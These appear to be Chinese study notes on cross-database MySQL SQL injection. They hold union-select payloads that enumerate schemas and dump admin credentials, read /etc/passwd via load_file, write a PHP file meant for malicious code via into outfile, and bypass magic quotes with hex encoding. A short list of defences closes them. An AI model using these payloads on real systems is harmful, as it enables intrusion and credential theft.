
跨库攻击
高权限用户root之类:
1、使用information_schema获取所需信息[找相应的库名,表名,列名]
找数据库名字
select group_concat(schema_name),2 from information_schema.schemata
schemata表里存放着mysql实例中所有数据库的信息
show databases;查询当前网站的数据库名【不太适用于跨库攻击】
找表格信息
找列名信息
有些表的名字很常见可能多个数据库中都有,最好把数据库名也加上
?id = -1 union select 1,group_concat(column_name)[显示在一行],3,4 from information_schema.columns where table_name = 'admin' and table_schema='xxx'
找特定数据
?id=-1 union select 1,user,password,4 from xxx.admin;[前面要指向数据库名]
文件读写操作
load_file():读取函数 【地址里写/】
?id=-2 union select 1,load_file('/etc/passwd'),3
into outfile或into dumpfile:导出函数
show global variables like '%secure_file_priv%'; //查询是否有写入的权力
?id=-2 union select 1,'x',3 into outfile 'D:/x.php' 【把x改成想要注入的恶意代码】
--+代表后面的语句不生效
怎么找路径:
- 报错显示
- 遗留文件info.php
- 漏洞报错【搜xxx爆路径】
- 配置文件
- 爆破
魔术引号
php文件中magic_quotes_gpc = on的时候就是开着的,此时会对单引号、双引号、反斜线、NULL加上一个一个反斜线进行转义。相同作用的函数:addslashes()
绕过方法:采用hex(16进制)编码绕过因为对路径进行编码之后魔术引号不会再对其生效也就是说绕过了魔术引号的作用达到绕过。
防注入
- 自带防御
- 内置函数(is_int())
- 自定义关键字:把select给replace了
- WAF防护软件:安全狗,宝塔等
浙公网安备 33010602011771号